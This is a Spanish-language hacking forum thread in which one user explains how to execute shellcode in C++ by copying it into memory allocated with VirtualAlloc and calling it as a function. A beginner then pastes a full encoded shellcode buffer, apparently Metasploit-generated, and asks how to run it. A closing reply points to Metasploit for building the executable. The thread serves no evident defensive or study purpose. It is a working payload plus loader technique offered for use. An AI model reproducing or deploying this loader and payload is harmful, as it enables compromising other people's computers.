You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Simplemente necesitas tener la shellcode mapeada en memoria con privilegios de ejecución... Puedes hacerlo con VirtualAlloc() o hacer uso de los _emit para meter directamente en tu ejecutable la shellcode.
Una vez la tengas un su sitio simplemente defines el puntero como función y lo llamas.
Un esbozo:Código: cpp
PVOID myMem = VirtualAlloc(...);
memcpy(myMem, shellcode_array, sizeof(shellcode_array));
myMem();
Saludos y suerte
Gracias por tu ayuda, pero recién acabo de adentrarme en el lenguaje de C / C++ , ¿Podrías decirme donde colocar la shellcode en tu código? Y a ser posible explicarlo un poco para aprender.
¿Y la shellcode la tengo que dejar en un solo string (quitando las "", las comas, el + y los espacios) o la dejo tal cual está?
Bueno mejor, te dejo la shellcode y tu ya me dices compañero:
buf =
"\xbe\x78\x14\xef\x42\xd9\xc9\xd9\x74\x24\xf4\x5f\x2b\xc9" +
"\xb1\x49\x31\x77\x14\x83\xef\xfc\x03\x77\x10\x9a\xe1\x13" +
"\xaa\xd3\x0a\xec\x2b\x83\x83\x09\x1a\x91\xf0\x5a\x0f\x25" +
"\x72\x0e\xbc\xce\xd6\xbb\x37\xa2\xfe\xcc\xf0\x08\xd9\xe3" +
"\x01\xbd\xe5\xa8\xc2\xdc\x99\xb2\x16\x3e\xa3\x7c\x6b\x3f" +
"\xe4\x61\x84\x6d\xbd\xee\x37\x81\xca\xb3\x8b\xa0\x1c\xb8" +
"\xb4\xda\x19\x7f\x40\x50\x23\x50\xf9\xef\x6b\x48\x71\xb7" +
"\x4b\x69\x56\xa4\xb0\x20\xd3\x1e\x42\xb3\x35\x6f\xab\x85" +
"\x79\x23\x92\x29\x74\x3a\xd2\x8e\x67\x49\x28\xed\x1a\x49" +
"\xeb\x8f\xc0\xdc\xee\x28\x82\x46\xcb\xc9\x47\x10\x98\xc6" +
"\x2c\x57\xc6\xca\xb3\xb4\x7c\xf6\x38\x3b\x53\x7e\x7a\x1f" +
"\x77\xda\xd8\x3e\x2e\x86\x8f\x3f\x30\x6e\x6f\xe5\x3a\x9d" +
"\x64\x9f\x60\xca\x49\xad\x9a\x0a\xc6\xa6\xe9\x38\x49\x1c" +
"\x66\x71\x02\xba\x71\x76\x39\x7a\xed\x89\xc2\x7a\x27\x4e" +
"\x96\x2a\x5f\x67\x97\xa1\x9f\x88\x42\x65\xf0\x26\x3d\xc5" +
"\xa0\x86\xed\xad\xaa\x08\xd1\xcd\xd4\xc2\x7a\x67\x2e\x85" +
"\x44\xdf\x46\xd0\x2d\x1d\xa7\xcb\xf1\xa8\x41\x81\x19\xfc" +
"\xda\x3e\x83\xa5\x91\xdf\x4c\x70\xdc\xe0\xc7\x76\x20\xae" +
"\x2f\xf3\x32\x47\xc0\x4e\x68\xce\xdf\x65\x07\xef\x75\x81" +
"\x8e\xb8\xe1\x8b\xf7\x8f\xad\x74\xd2\x9b\x64\xe0\x9d\xf3" +
"\x88\xe4\x1d\x04\xdf\x6e\x1e\x6c\x87\xca\x4d\x89\xc8\xc7" +
"\xe1\x02\x5d\xe7\x53\xf6\xf6\x8f\x59\x21\x30\x10\xa1\x04" +
"\xc0\x6d\x74\x61\x46\x87\xf2\x81\x8a"
Gracias de nuevo y saludos!!


ademas sin pasar el ejecutable a py2exe lo puedes hacer desde el metasploit 